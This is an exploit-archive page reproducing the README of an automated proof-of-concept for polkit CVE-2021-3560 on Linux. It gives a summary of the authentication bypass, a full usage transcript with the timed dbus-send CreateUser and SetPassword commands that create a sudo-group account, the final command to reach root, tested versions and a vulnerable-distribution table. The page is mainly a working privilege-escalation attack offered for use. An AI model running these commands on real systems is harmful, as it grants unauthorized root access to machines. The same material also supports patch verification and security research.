Sploitus

Exploit for Incorrect Authorization in Polkit Project Polkit

CVE-2021-3560

githubexploit · 2021-06-11

Exploit Code

README99 lines
## https://sploitus.com/exploit?id=B9510646-2BAA-56FD-ABAC-FEAE65C9F78D
# polkit-auto-exploit
Automatic Explotation PoC for Polkit CVE-2021-3560

# Summary 

CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged methods using DBus, in this exploit we will call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it and at the end logging as the created user and then elevate to root.
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

# Usage

```
ubuntu@ubuntu2004:~/polkit-auto-exploit$ ./polkit-auto-exploit -u adminhs -p admin1 -f admin
[===] Auto Exploitation PoC for Polkit CVE-2021-3560 by Petruknisme [===]
[+] Current User: ubuntu
[+] Variable for Polkit Configuration
[*] Username : adminhs
[*] Password : admin1
[*] Fullname : admin
[+] Sending create user command to determine time execution
[*] Execution time: 0.018076ms
[+] Time to killing dbus-send setting to 0.009038ms
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:adminhs string:'admin' int32:1 & sleep 0.009038s ; kill $!
..................
[+] GOTCHAAA! User adminhs is created with sudo member group
[+] Getting UID from user: 1015
[+] Creating password with OpenSSL
$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0
[+] Triggering polkit to create password for adminhs
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1015 org.freedesktop.Accounts.User.SetPassword string:'$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0' string:admin & sleep 0.009038s ; kill $!
Failed to execute command: echo admin1 | su -c id adminhs
uid=1015(adminhs) gid=1015(adminhs) groups=1015(adminhs),27(sudo)

[+] GOTCHAAA! Success login with User adminhs & password: admin1
[+] You can login to root using su with user and password created before: su -c 'sudo su' adminhs
```

# Tested 

- Ubuntu 20.04(policykit-1/focal,now 0.105-26ubuntu1)

# Information

Any system that has polkit version 0.113 (or later) installed is vulnerable. That includes popular distributions such as RHEL 8 with polkit version `0.115` and Ubuntu 20.04 with polkit version `0-105-26` (Debian fork of polkit)

# Vulnerable Distro


  
    
      Distribution
      Vulnerable?
    
    
      RHEL 7
      No
    
    
      RHEL 8
      
        Yes
      
    
    
      Fedora 20 (or earlier)
      No
    
    
      Fedora 21 (or later)
      
        Yes
      
    
    
      Debian 10 (“buster”)
      No
    
    
      Debian testing (“bullseye”)
      
        Yes
      
    
    
      Ubuntu 18.04
      No
    
    
      Ubuntu 20.04
      
        Yes
      
    
  


# License 

MIT License